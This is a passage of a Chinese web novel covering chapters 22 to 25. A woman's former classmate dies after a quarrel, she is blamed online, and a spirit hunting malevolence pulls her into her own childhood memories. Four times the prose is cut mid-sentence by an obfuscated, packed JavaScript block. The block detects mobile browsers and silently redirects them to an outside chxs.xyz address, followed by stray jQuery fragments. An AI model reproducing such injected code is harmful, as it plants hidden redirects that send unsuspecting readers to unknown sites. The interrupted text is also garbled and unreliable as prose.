两个人都是爽快人,直接就定下了明天在一家咖啡店见面。
解决了一件事情,钟励的身体松快了不少。
她扭了扭脖子,张开嘴巴大声“啊”了一下,全身心都放松了。
其实做事情没有很难嘛,只要迈出去第一步,接
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369919|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着顺着路慢慢走就行。有障碍就越过去。
---
钟励是个守时的人,她出门之前会计算路程所用的时间,以及可能遇到意外,又会额外留出一些时间。
上午十点的公园人流量没有很多,加上是工作日的关系。
钟励到的时候,夏曦曼已经在公园里了,她手上拿着一杯饮料。
看到钟励来,夏曦曼连忙起身迎接:
“钟励,你来了。”
钟励在她旁边的长椅坐下,刚一坐下钟励就被刺激得想站起来,这椅子冻屁股。
夏曦曼的气色好像更差了,比起前几个月,或许是天气转凉,她唇色也苍白了许多。加上她又喜欢淡一些的口红,不提气色。便看起来更加虚弱了。
她驼色的风衣还把整个人映衬得发黄发黄的。
据钟励了解,夏曦曼并没有什么慢性病,或者是近些年才生病的事情。
“你怎么样?气色看着不太好。”
化妆都盖不住她的黑眼圈,说话声气若游丝。
“没事的,可能今天过后就好了。”
夏曦曼拿起手里的杯子,“吨吨吨”就喝完了。
“你之前在寺庙跟我说的话是什么意思啊?”
钟励实在按捺不住了,她今天来又不是来叙旧的,有正事呢。
夏曦曼抬起头,眼里是死一样的寂静,她声音轻飘飘的,说道:
“当初,你也觉得很奇怪吧。为什么只有你一个人经过那里。”
见夏曦曼提起往事,钟励放在腿上的手不自觉攥紧,表情都严肃了。
周边没有什么人,很安静。只有微微的风吹过来,仿佛全世界就剩下她们两个人。
“其实,当你被怀疑以后,我看到琼芎的表情了。她在笑,她很高兴,像魔鬼一样。”
夏曦曼越讲越激动,她身体在不停颤抖,嘴角的肌肉也是控制不住地拉扯,这不是笑。
“你胡说八道什么?”
钟励不允许有人诋毁琼芎,琼芎是她从小到大就认识的人。
“真的。”
夏曦曼似乎冲破了身体的阻碍,说话的声音都变大了。她双手胡乱在空中比划着。
“当时她身上出现了恶魔,我发誓我看到了。我只是不敢跟任何人提起。自从那以后我就一直做噩梦,身体也受不了。”
说到这里,夏曦曼惨笑一声:
“既然她要来折磨我,那我也不能让她好过。”
简直是荒谬。
钟励即刻站了起来,她深吸了一口气,觉得自己不要跟病人情绪太过激动。
“你不要乱说话。我知道琼芎跟你有些矛盾,但那已经过去了吧。”
琼芎从小就长得很漂亮,一直都有人追求她。大学的时候,夏曦曼喜欢的男生却跟琼芎表白了。自此两人的关系就很僵硬。
平心而论,琼芎跟夏曦曼,自然是琼芎在她心里的地位更高。哪怕是朋友之间,也会有亲密度排行。
“就这样吧,我先走了。”
钟励很后悔今天来这一趟,什么消息都没有听到。反而还惹自己一肚子火。
她回去后,换上睡衣,正要躺下休息的时候,系统弹出一条新闻推送。
上午时分,在公园,一女子因心脏麻痹而死。
新闻视频里面已经打了码,但钟励清楚地看到被抬上担架的女子穿着一身她上午看到过的驼色风衣。
22. 第 22 章
钟励坐在客厅的沙发上,心情久久不能平静。
她冲去厕所,因为跑得太快,不小心踩到厕所地面的一点水迹,还好手抓住洗手台。
心脏停滞了一瞬,负负得正,反而冲淡了刚刚的紧张。
洗手台上还有早上刷牙遗留下来了一根头发,黏在白色的瓷砖上面,跟用指甲在黑板上刮动一样让人难以忍受。
钟励将手放在“哗哗”流水的不锈钢水龙头下面,接了一捧水,将那根头发冲了下去。
接着双手接水,全部泼到脸上。
冰凉的清水打湿脸庞,钟励往镜子里看去,水迹沿着脸颊的弧度滑落。
“怎么会呢?”
她忍不住喃喃道。
又抬起手将打湿的碎发全捋了上去,露出整张脸。
“可能只是巧合,恰好也是穿的同一件衣服而已。”
年龄相仿的人,大部分品味也很相似。她在大学时期就跟同校同学甚至是同班同学撞衫过。哪怕是她自以为很小众的服饰,但总有人跟她有一样的想法,就跟论文的创新点一样,总有前人研究过。
逐渐清醒过来,钟励踩着拖鞋慢慢走到客厅,一屁股就往沙发上坐。
“砰砰砰”的敲门声规律响起,“您好,快递。”
快递员的说话声因为隔着一道门,听起来闷闷的。
“您好,有您的快递。打电话您没接,有人在家吗?”
钟励循着声音的方向转过头,捡起扔在沙发上的手机,确实显示有两个未接来电,那个时间她刚刚好在厕所洗脸呢。
虽然人就在门外,但她也没有开门的打算。钟励隔着一扇门,将电话回拨了过去,她还离门走远了一些,走到了阳台。怕离得太近被听到。
“喂?”
钟励面无表情地说道,声音低哑,她眼睛顿顿的疼。
“你终于接电话了。”
听到对方的第一句话,她下意识挑了眉,这话跟她前几天接到的骚扰电话一样。
“您有一个快递,您不在家的话,那我给您放门口?”
“嗯,放门口吧。”
钟励突然又想起,她最近没有网购什么东西啊。于是听她又问道:
“谁寄来的?什么东西啊?”
她买的快递心里都有数,毕竟每一笔支出都是经过计算的。
快递员可能是把手机夹在耳朵跟肩膀之间了,说话声忽大忽小的。
“额……我看看,寄件人是琼芎女士,您认识吗?”
哦,那就不是什么奇怪的包裹了。她防诈骗意识还是挺强的。
钟励松了口气点点头:
“嗯,那是我的快递没错,你放门口吧。”
钟励听着快递员的脚步声逐渐远去,走到门口通过猫眼看了一下,又等了有几分钟才开门拿快递。
是一个不重的快递盒,很结实,方方正正的,历经风霜,四个角都还很尖锐没有凹下一块,实在难得。很适合留下,到时候要是寄东西可以用上。钟励在心底默默盘算。
但是可能会携带螂的幼货,于是她最终还是作罢。
不知道琼芎给她寄了什么,居然也没有提起跟她打了招呼,可钟励现在没心情拆什么快递。
手里的手机在不断地震动,一直有消息的提示,钟励划开一看,是大学的班级群。
她自从上次从角落里把旧手机找出来后,就把电话卡拔了下来,安装到她现在的手机上。
那个号码她用了很久呢,还是靓号,数字很容易记,朗朗上口的。
群里的人打字很快,钟励都来不及看上一条消息就被刷下去。
【是夏曦曼没错吧。】
【是的,她家人刚刚在朋友圈发了讣告。】
钟励连忙退出群聊,点开了朋友圈。她这部旧号码的朋友圈已经关闭通道很久了。
确实是夏曦曼家人发的讣告,说她意外身亡。
钟励心里闷闷的,大脑好像还没有反应过来。对于死亡的感知,总是会迟缓一些。
【她还这么年轻。】
班群里有人发出了大学的毕业照,一班人乌泱泱挤到一块儿。加上光线特别强,有同学的眼睛看起来都只有一条缝了。
夏曦曼身穿学士服,学士帽端端正正戴在头上,这戴学士帽也有讲究,她别了好几个发卡呢。中途还让钟励帮她调整了一下。
等待拍照的间隙,夏曦曼还很遗憾地跟钟励吐槽说:
“太可惜了,只有优秀学生才能上去让校长拨穗,我也想上去啊。”
钟励摸了摸下巴,煞有其事提出了一个可行的建议:
“那你延毕吧,等下一年拿一个优秀学生。”
不知不觉间钟励已经泪流满面,泪水模糊了视线,毕业照里夏曦曼的身影也越来越模糊。
她跟夏曦曼只能说是普通同学,上学时期要是在学校里偶遇了可能会打一个招呼。至于说多熟倒也没有。
可一个鲜活生命的逝去,她不可能毫无感觉。
琼芎。
夏曦曼跟她提到了琼芎,说琼芎当时的样子很奇怪。
像恶魔一样?这可能吗?
连钟励自己都捡到了一本怪异的笔记本,她难道敢保证夏曦曼说的是假话吗?
可夏曦曼精神状态不太正常,已经好几年了。她说的话能信吗?
钟励跟琼芎认识很多年了,除了父母以外,琼芎是她认识最久,最信任的人。
钟励点开了手机通讯录,拨打了琼芎的电话。。
听到“嘟嘟嘟”的待接通声音,钟励的心脏也几乎与其同频。她打这个电话是要质问吗?还是要怎么说?
“您好。”
对面接通了,只是不是琼芎的声音。
钟励张了张嘴,喉咙干涩,她问道:
“这不是琼芎的电话号码吗?”
对面闻言解释道:
“是的,我是她的经纪人。最近几天她不方便接电话联系,因为是封闭式工作,要全身心投入,不能有其他影响。”
“这样子啊,那打扰了。”
钟励说完就要挂断,只听经纪人叫住了她:
“等一下,您是钟励女士吗?”
“琼芎给您寄了一个快递,您有收到吧。她去忙工作之前,三番两次叮嘱我一定要将快递完好无损寄到您手上。”
那应该就是刚刚送上门的快递了。
钟励点点头,回答道:
“我刚刚收到了。”
结束通话后,钟励起身到玄关。
她所有的快递都是放在这里,不带进去,她觉得快递外包装还是挺脏的,虽然她不是洁癖,但也是受不了。
打开抽屉拿出小刀,她蹲下身,顺着快递盒的方向,慢慢用小刀割开。
割到一半,突然觉得眼睛有点痒,是风干的泪痕留下的分泌物,黏在眼睛上了。
钟励想用手指揉一下,想到这手刚刚才摸过快递,于是作罢。她冲到厕所用洗手
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14397753|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
液清洗过后,才敢摸上眼睛。
她有一个小原则,但凡手摸过钱或者是快递,都一定要去洗手。尤其是钱,谁知道上一个人把钱塞到了哪里?钟励去买东西的时候可见过,有人把钱从鞋底里掏出来。
快递盒里周边包裹一层厚厚的泡沫包装,钟励仔细翻看了一下,还有这个泡沫包装只是填充保护的,没有用胶带粘起来。否则她等一下用小刀割开又是一场折磨。
泡沫盒里是几个漂亮的海螺,大的小的都有,五颜六色的。
钟励突然回忆起来,她初次跟琼芎的见面。
隔壁的空房子某一天悄无声息搬来了一户人家。
这户人家上门跟邻居打招呼的时候,钟励正抱着一个小桶,开心地往家跑。一边跑还一边喊:“妈妈,我回来啦,你看看我发现的宝物。”
钟励舅舅家住在海边,她偶尔去舅舅家住,就会跟着几个表姐去海边捡海螺。
钟母一见,堵着门不让钟励进去,听得出来钟母碍于人前,没有说话很大声:
“又捡你那一大堆破烂回来,家里已经有很多了,不要再拿回来了。”
钟励不松手,抱着她那装着海螺的小桶不撒手,非要进去。不让她从门口进去,那她就从母亲腿下钻进去。
可惜最后被钟母掐住了致命的后脖颈,“有人在呢,给我老实一点。”
“哦。”
钟励罚站一般站到墙边,双手依旧把怀抱里的桶抱得紧紧的。
她这才注意到,跟母亲搭话的人是个生面孔。有个年纪跟她相仿的女孩,留着学生头,紧抓她母亲的衣袖,怯生生站在后面。
她们寒暄结束要离开的时候,钟母的眼神从亲切变成了严厉,揪着钟励的衣领,让她把捡到的海螺丢了。
“不,我就不。”
钟励也像头倔驴,脸涨得通红。
她挣脱母亲的桎梏,跑到刚刚那对母女面前,将手中的小桶递到那女孩面前。
“呐,送给你。”
钟励当然不是什么大方,她知道现在是没有办法让海螺进家门的,那她就曲线救国,先把海螺放到邻居家,到时候等她母亲不在家,再要回来就行了。
“给我的吗?”
幼年时期的琼芎远远没有长大后的阳光开朗,她刘海过长遮住眼睛,但遮不住她眼里的震惊。
“是的,给你的。”
钟励从桶里拿出来一个海螺,放在耳边,是哗哗哗的声响。
“试试看,海螺里储存着海浪的声音哦。”
琼芎有样学样,惊讶道:
“真的啊,好神奇的海螺。”
两个小孩乐不可支,将所有的海螺都放到耳边试了一遍。
回忆的潮水逐渐褪去,钟励眨了眨眼。
她伸出手拿起一只海螺放到耳边,是熟悉的海浪声。当然长大的她知道,这不是什么神奇海螺,听到的声音也不是什么海浪,而是颅内血液流动的声音。
“嗡嗡嗡嗡嗡嗡。”
钟励放在地板上的手机突然接收到很多消息,不停地震动。
她解锁屏幕一看,许多人给她发了消息,但都是老同学。
【钟励,你真的跟夏曦曼发生争吵了吗?】
【她的死因跟你有关系吗?】
钟励一头雾水,不知道发生了什么。
她仔细查看消息,原来是网上有人发了一段她早上在公园跟夏曦曼发生争吵的视频。有人猜测,夏曦曼的死跟她有关。
23. 第 23 章
关于夏曦曼去世的消息下面,大部分的评论都是惋惜,认为是现代社会给年轻人的压力太大了。
也有一条与其他人风格迥异的回复:【只有我觉得有蹊跷吗?】
当然这条评论一开始被其他评论刷下去了,掩于人海。不过当有人放上夏曦曼跟钟励争吵的视频的时候,这条评论就被顶上来了。
【我去,预言家啊。】
【这直觉,果然是嗅到了一丝不寻常的味道吧。】
【是知情人吗?这么信誓旦旦的。】
【有瓜吗?求踢。】
当然也有不轻易站队的人群。
【也不要就这么下结论吧。】
【吵架而已,谁还不吵架了?有时候出门丢个垃圾都有架要吵呢。】
关于钟励跟夏曦曼吵架的视频,被顶了上去,到达了一个它不该有的热度,像是被买了热搜。
其实视频不太清晰,勉强认出人脸。听不清吵的什么,偶尔能听清几个关键字而已。
【怀疑是感情纠纷。毕竟在之前有前科的。】
【这意思?情侣吵架分手?】
【不是不是,我是说她们两个人跟另一个男人有感情纠葛,可能在吵架吧。】
【毕竟当初这个驼色风衣的女生喜欢的人,就被这个穿卫衣女生的好朋友给抢走了。既然她们俩都能当朋友,想必也是一丘之貉。再干出这种事情来也很正常。】
【上面的是知情人?知道的这么多。】
钟励气得浑身颤抖,想一个个怼回去,但太多了她根本回复不过来。加上很多人都只是墙头草,别人说什么信什么,她怼回去也毫无意义。
顿时泄了气,她干脆直直躺在沙发上,像一条晒干的咸鱼。
“服了,气得心脏疼。”
钟励眼睛失神,窗外的微风吹动窗帘,她就盯着被风吹起的窗帘发呆。
说她就说她,关琼芎什么事情?
当初琼芎也不是抢她男朋友啊,只是琼芎人太好了,喜欢她的人很多。恰好夏曦曼喜欢的人也喜欢琼芎而已。
后来两个人都和解了,夏曦曼也放弃追求那个男生了。本来也不能叫和解吧,原本就没有什么大问题,只是夏曦曼当时有点过不去那个坎,大家都年轻都要面子。
钟励转念一想,不会有人顺手扒出她所谓的朋友是谁吧?暴露琼芎的身份。网络真真假假,到时候假消息也变成真的了。
琼芎还年轻,她会一直暴露在大众视野当中,不像她是素人,到时候万一影响事业可怎么办?
“滴滴滴。”
被钟励扔在地上的手机发出求救声,没电了,让它的主人快去充电。
钟励轻轻转头,半阖着眼,扫了一眼又转回头去发呆了。没电就没电吧,里面的东西看着就来气,也没什么必要充电了。
要不干脆把网线拔掉算了。
很气,想打人发泄。她看了看周边的环境,无论是墙壁还是地板,都不是她可以随便动的。于是又作罢,还是生闷气比较便宜适合她。
想着想着,钟励忽然觉得眼皮很沉重,配上微风的催眠,逐渐将她推进梦乡。她睡过去之前,还不忘拿起沙发上的抱枕盖住肚脐眼。被子在房里她懒得起身去拿了,那就将就一下吧。
“嗯……”
钟励闷哼一声,陷入到半梦半醒的世界。不知道为什么她意识是想清醒的,但又打不过睡意。心脏处还是闷闷的难受,怒气由里到外都要爆发出来。
脑海中划过从小到大遇到的糟心事委屈事,怒气指数在不断提升,直至到达最高值。她向来心大,很多事情都不会注意的,除非是特别难忘的,可这次不知道为什么跟搬家一样,犄角旮旯里的东西都给搜罗出来了。
钟励闭着眼睛,想睁开也睁不开。不然她就可以看到,她放在玄关抽屉里的像是成了精一样,丝滑地从抽屉里溜出来,又从门缝钻了出去。
---
隔壁纪善家。
纪善的骨折已经好了,医生都说他的恢复能力异于常人,身体素质很不错。
从钟励家越狱出去的笔记本,原来是逃到了纪善家。正趴在纪善的腿上,表面发出了闪闪光芒。
纪善眼神像一道凌厉的刀子,他皱着眉头,听到笔记本的汇报以后,他立刻站起身。
笔记本因为毫无准备,直接从纪善的腿滑落“啪”一声摔倒地面上。
“你是说钟励已经被恶怨吞噬了?”
纪善没分给它一个眼神,他缓慢地在屋子里走动,一边走一边思考。笔记本也跟一个跟屁虫一样跟在后面,好几次纪善要回头都差点踩到。
纪善原本就是因为一股浓重的恶怨吵醒的,他是善灵,他至死不休的对手则是恶灵。
在他沉睡的期间,恶灵为非作歹。他这次出门,为了就是要消灭恶灵。甚至不惜抛出自己的法器功德簿,自己也潜伏在这个钟励嫌疑人身边,为的就是消灭她的这一天。
那他现在还在犹豫什么?直接冲过去杀了她就行。
可纪善内心又有一个声音,告诉他不一定是钟励。从他这些天潜伏在钟励身边观察来看,钟励的行为远远称不上什么恶灵。她没有伤害什么人。
但那也可能是她的伪装,否则她身上的恶怨浓度怎么会这么高?
是了,他已经三番两次警告过了,是她自己不听。那他也只能履行自己的天职,杀了她。
纪善想清楚以后,表情恢复了初见时的淡漠,他朝窗外看去,此时热烈的太阳正好被乌云遮盖住,屋里光线有些昏暗。
纪善一个大跨步穿过墙壁,来到了与他只有一墙之隔的钟励家。
钟励正躺在沙发上,她客厅里所有的窗帘都拉紧了,没有留一丝缝隙,于是连外面微弱的阳光都没有照射进来的机会。
而她本人正皱着眉头,头脑轻微摇晃,嘴巴念念有词不知道是说什么梦话,双手紧紧抓着肚子上的抱枕。她全身已被黑色浓雾一般的恶怨包围了。
就这种程度的恶怨,要么是她接触了什么东西,要么就是她自身结下的恶果。
纪善一手抓过跟着他的笔记本,对它说道:
“去看看,这房子里有什么东西?”
而他本人则是蹲下身,仔细观察钟励脸上的表情,细微的变化都不放
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14414182|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过。
钟励脸色潮红,呼吸急促,想挣扎着醒过来,但却又被拖入了深渊。
看到她额头上冒出的汗滴,纪善伸出手轻轻替她抹去。
还有一个可能,是恶灵藏在她的体内,而她只是替恶灵办事的傀儡,本身没有做错什么事情。
但被恶怨侵袭到这种程度,她也不可能会清醒过来了,失去理智只是时间问题。
对于纪善而言,能把对手在弱小时期就消灭掉,自然不会等到对手发展壮大,给自己找麻烦。
笔记本漂浮在半空中,它来到纪善身边。
纪善一看它就知道了答案,“没有吗?”
功德簿居然也有人样,它摇了摇头,垂头丧气的,好像也很喜欢钟励这个新主人。
那看来他没有办法了,按照计划行事吧。
“过来。”
纪善朝功德簿挥挥手,等靠近他之后就一把抓住。功德簿是他的武器,也只能通过它消灭恶灵的存在。
纪善闭上眼睛,点点白光慢慢从他身体里冒出来。他的力量比较微弱,在如今这个人心浮躁的时代,所以他也得趁早消除恶灵,回去休养生息。
功德簿在灵力的滋润下漂浮在钟励的正上方,一道白光倾斜而下,直直照在她的身上,但浓重的恶怨气息却依旧围绕在身旁,钟励本人也没有受到任何的伤害。
“怎么回事?”
纪善不由得发出疑问。恶怨跟善念是相对的,他的善念灵力要是攻击钟励,作为恶灵或者是傀儡的她不可能毫无反应。
“法力这么高强吗?”居然连他都感到吃力了。
纪善掏空了全身的灵力,那道光线更强烈了,几乎如同白昼一般照亮了整个房子。
“嗯……”
钟励有反应了,她浑身剧烈发抖,嘴巴里上下两排牙齿在打冷颤。她双腿不断蹬着沙发扶手,脖子上的青筋冒起。
“嗬……嗬……”
喉咙里发出低哑的不明叫声,像是凹凸不平铺满小石子的羊肠小道。
纪善的状态也没有好到哪里去,他脸上的青筋也暴起,褪去了平日里云淡风轻的小白脸模样。
终于不知道过去了多久,钟励的动作逐渐放缓至平息,脸上的潮红也下去了。
双手脱力,左手垂落砸到了地板上。围绕在她身上的恶怨也逐渐消散。
“呼,终于结束了吗?”
纪善的灵力耗尽,他顿了顿,一屁股坐在地板上。沙发上的钟励已经没了气息,脸色变得苍白。
整个屋子里很安静,只能听到纪善他自己的呼吸声,他右手抬起捂着额头,不知道在想什么。
过了会他放下手,站起来。接着俯身去观察钟励的情况。
突然钟励睁开了双眼,双目已经不是常人形态,全都布满了红血丝,像蠕动的寄生虫。
她胸口渐渐浮现了一个黑色恶怨的漩涡,在发展壮大。
钟励伸出手抓住纪善的衣领,嘴角抽动,一把将他扯进了漩涡的世界。
而纪善也因为刚刚耗尽了灵力,像个普通人,只能被动挨打,一把被拉进了未知的异常漩涡。
24. 第 24 章
纪善再一次睁眼,发现自己身处一个白茫茫的世界,周边的景物也很模糊,像是作者为了偷懒没有细化上色一般。
他疑惑伸出手摸了摸白雾,看得到摸不着。走进白雾里最终也会走回来,逃脱不了。
世界白茫茫一片,比荒原还要寂静,连呼啸的风声都没有。
“哗”的一声,纪善身边模糊的场景突然变得清晰明了,世界也不再只有他一个人。
“哈哈哈哈哈。”
“嘻嘻嘻嘻嘻。”
一阵阵独属于小孩子的嘹亮高分贝笑声由远及近传来,纪善还没反应过来呢,就被一个小男孩撞到了。
小男孩也没道歉,笑嘻嘻跑开了。
纪善仔细一看,原来他面前是一所规模不大的幼儿园,现在是放学时间。小孩子在老师的带领下规律排队慢慢走了出来。
他都不用专门找,乍看都能发现这个世界的主角。
一个扎着双马尾的小女孩,脸蛋圆圆的,穿着蓝色短袖跟短裤。正一个个跟好朋友告别。最显眼的是她身上的光环,所有人就她身上萦绕着不刺眼的彩光。
“钟励,拜拜。我周末跟爸爸妈妈回老家了,你下次再来找我玩吧。”
钟励乖巧点点头,白嫩的小脸上虽然很失望,但还是努力打起精神,不扫朋友的兴。
“好,我们下次再一起玩。”
纪善站在路边,看着小时候的钟励背着小书包,安安稳稳沿着路线走回家。
他记得之前是被失去意识的钟励一把抓进来的,如果要出去要唤醒隐藏在钟励内心深处善良的基因,让钟励清醒过来,他才能出去。
大部分小孩子都有家长的接送,只有小部分小孩是自己回家,而钟励恰好属于这小部分人群。
纪善跟在钟励后面,小孩年纪小,步子迈得也小,纪善要跟踪也挺有难度的,他走路的速度第一次比蜗牛还慢。
一个成年男性迈着小碎步,走路姿势诡异,也吸引来一些人的注目礼。
等到钟励走到小巷子的拐角的时候,纪善大跨步超过她,高大的身躯挡在她的前面。
钟励的小手摸着书包两边的背带,她眨巴眨巴干净纯洁的大眼睛,看向自己面前的人形阻碍。
“叔叔,你要干什么?”
纪善在她面前蹲下身来,视线与她平齐。他从口袋里掏出几个糖果,这还是用不多的灵力变出来的。
“小朋友,回答叔叔几个问题,这糖果就给你好不好?”
纪善摆出了他自认为最和蔼亲切的笑容。
可一个大男人笑眯眯拦住小孩子,怎么想怎么不正常。
钟励瘪着嘴,一副要哭不哭的样子。纪善开始想他是不是吓到她了。
“叔叔。”
钟励的说话声带着哭腔,但努力憋着不让眼泪流出来。
“你是人贩子吗?”
“如果你是人贩子的话,能不能让我……跟我妈妈道个别?”
眼泪跟断了线的珍珠一般往下流,哭得特别可怜。
钟励离巷子口只有不到一百米的距离了,但这巷子里没什么人,她可能回不了家了。
她就应该听老师的话,回家走大路,不能走偏僻的小路。
“嗝……”
钟励哭得抽抽噎噎的,眼皮都红肿了。
纪善也不会哄小孩子,他手里握着的糖果要被手心的温度融化了,黏糊糊的。
“别哭了别哭了,糖果都给你。我不是人贩子。”
光嘴上说说,信服力不够。纪善站起来,往后退了好几步,双手举起来,赔笑着跟钟励说道:
“你看看你看看,我真不是坏人。你走吧。”
钟励小萝卜腿吭哧吭哧用力地跑,虽然在纪善看来他走两步就能把人抓回来。
她一边跑还一边回头看,确保纪善没有跟上来。脸上还挂着眼泪跟鼻涕,随手用手抹了抹。
“妈妈。”
钟励一跑出路口就遇上了出来买菜的母亲,她一把抱住母亲的腰,像是找到了主心骨。她伸出一根手指头,指着还在巷子里的纪善跟母亲告状:
“妈妈,我刚刚遇到人贩子了。还好我英勇,这才逃脱。”
纪善一听这可不行,他得完成任务出去啊。要是一开始就被打上“人贩子”的烙印,他还怎么接近钟励?
“人贩子?”
钟母抓住钟励的肩膀,粗略检查了她全身。
“没有对你怎么样吧?”
“没有。”
钟励吸了吸鼻涕回答道。
钟母可见不得她这埋汰样,抹干净她脸上的眼泪鼻涕,嫌弃道:
“小邋遢鬼。”
“以后要是遇到可疑的人,要大声呼救逃跑,不然被抓到了,坏人把你手脚都砍断了,让你在地上爬。”
钟励心有所感,下意识摸了摸自己的手臂。
“那个。”
纪善咳了一声,走到母女俩面前。钟励一看到他立马溜到母亲身后。
“我不是人贩子,刚刚只是一个小误会。”
纪善长得人模人样,看起来也不太像是会干出这种事情来的人。但钟母又觉得人不可貌相,万一这人只有皮囊,内里是腐烂的。
纪善掏出一本棕红色的小本子,上面印着烫金的“教师资格证书”六个字。
“我是老师,刚刚来的。不久要入职幼儿园,然后只是觉得小朋友有点可爱,分几个糖果而已。造成你的困扰我也很抱歉。”
钟母也不知道是信了没有,她眼神依旧警惕,没有搭理纪善的话。
她紧紧拉着钟励的手走了,还说道:
“以后看到奇怪的人要赶紧走,就像今天一样。什么人会随身携带教师资格证,我看也就是一个疯子。”
纪善站在原地,深吸了一口气,小红本在他身后,顿时烟消云散,连一缕灰尘都不见,本来也只是他刚刚变出来的。
他得想想别的计划才行了。
---
钟励目前还是跟一大家子人一起住,一个简陋的二层楼自建房。住了她的爷爷奶奶,爸爸妈妈,叔叔阿姨,还有几位表哥表姐。
钟励一家住在二楼,她一回家,就被母亲勒令先写作业,写完作业才能去看动画片。
钟母一边择菜,一边盯着她写作业。钟励连走神的机会都没有,只得老老实实做作业。
“做饭呐。”
奶奶从侧面的楼梯上来了,手里拿着一个红色的塑料盆。
钟母笑笑:“是啊,妈。您这是上来摘菜吗?我帮你吧。”她立即起身。
二楼上有一片空地,是专门留出来种菜的。但自从钟励看到了这片菜地是怎么浇水施肥的以后,她便再也不肯吃自家种的菜了。
奶奶另一只空手阻拦道
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14430683|151242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:
“不用不用,你忙你的吧。我这把老骨头还能动。”
奶奶一边挑选长成的菜,一边跟钟母搭话道:
“今晚做什么好吃的啊?”
虽然钟励一家都跟爷爷奶奶住在一起,但其实并不在一起吃饭,是分开做饭的。两代人口味不一样,吃不到一块儿去。
钟母回答道:“就随便炒点猪肉,妈我给你端一点下去啊。”
奶奶摆手拒绝,头也没抬起来,专心挑菜。
“不用了,你们吃吧。小孩子多吃点好的。”
钟励也不敢做小动作了,比如在橡皮擦上写字。她挺直腰板安静写作业,免得到时候有人往她身上撒气。她虽然还是小孩子,但也能察觉到空气中弥漫着看不到的硝烟。
“对了。”
听到奶奶出声,钟母立即搭腔:“怎么了妈?”
奶奶眨眨眼,松弛的眼皮半眯着,沙土容易被风吹起来吹进眼里。
“我楼下有一个空房,有人要租,你觉得怎么样?”
钟母讪笑道:“家里的事情您老人家做主就行,我们小辈的都听从。”
“那就好。我还怕你觉得家里多了人不习惯呢。”
奶奶挑了满满一篮子的菜,她缓慢起身下了楼。
钟母不知道该说什么,便只能笑笑,一边重复道:
“没有没有,您这是哪里的话?让孩子她爸知道又得说我了。”
钟励两耳不闻窗外事,低头写着作业,铅笔在米白的作业本上沙沙作响。终于写完了她抬手放松一下。
“写完了吗?别偷懒。”
钟母冷着脸,语气严肃,跟下午一起回家的她完全是两个人。
安静的环境突然冒出一句尖利的话,可把钟励吓了一跳。
“写……写完了。”
她将写好的作业,还有一个小本子递到钟母面前。小本子上记着老师每天布置的作业和要通知家长的事情。
钟母一把抽过作业,力度不小。钟励跟个蔫掉的鹌鹑一样,不敢说话。她原本还想写完作业就去看电视的,这下计划可能要泡汤了,甚至可能会挨骂。
钟母检查完作业没发现什么问题,但她还是冷着脸。
“收拾好,放进书包里。别到时候上学去了又得回来拿,我可没工夫陪你。”
钟励听话点点头,她虽然知道母亲现在心情不太好,但她还是想看电视,于是她顶着挨骂的风险弱弱问道:
“妈,我写完作业了。可以去看看电视吗?”
“看看看,就知道看电视。早晚有一天,把你的眼睛看瞎。”
钟母音量突然提高,伸出一根指头戳了戳钟励的脑门。
她下了最后的指令:“不许看。”
不看就不看吧,钟励的心态倒是很好。不看电视那她出去玩。
钟励收拾好以后,抽出自己前两天存的五毛钱零花钱,打算出去小卖部买几根辣条。
她扶着墙壁,一个台阶一个台阶的下去,楼梯太窄了,最多同时只能走一个人。
她刚走到一楼大门口打开门,就发现下午撞见的“人贩子”纪善,他和善的站在门口,右手正好立在半空中,似乎是打算敲门。
“好巧啊。”
奶奶这时候也从后面走过来了,笑呵呵的。
“小伙子,你来了。就是你要租房子没错吧。”
25. 第 25 章
“哦,这是我孙女。”
奶奶跟纪善介绍钟励。
纪善也跟第一次见到钟励一样,惊讶得“啊”了一声。
“哎呀,这小朋友多机灵啊看着。学习成绩很不错吧。”
其实幼儿园哪有什么成绩可言,可奶奶失笑道:
“没有没有,她皮得很。”
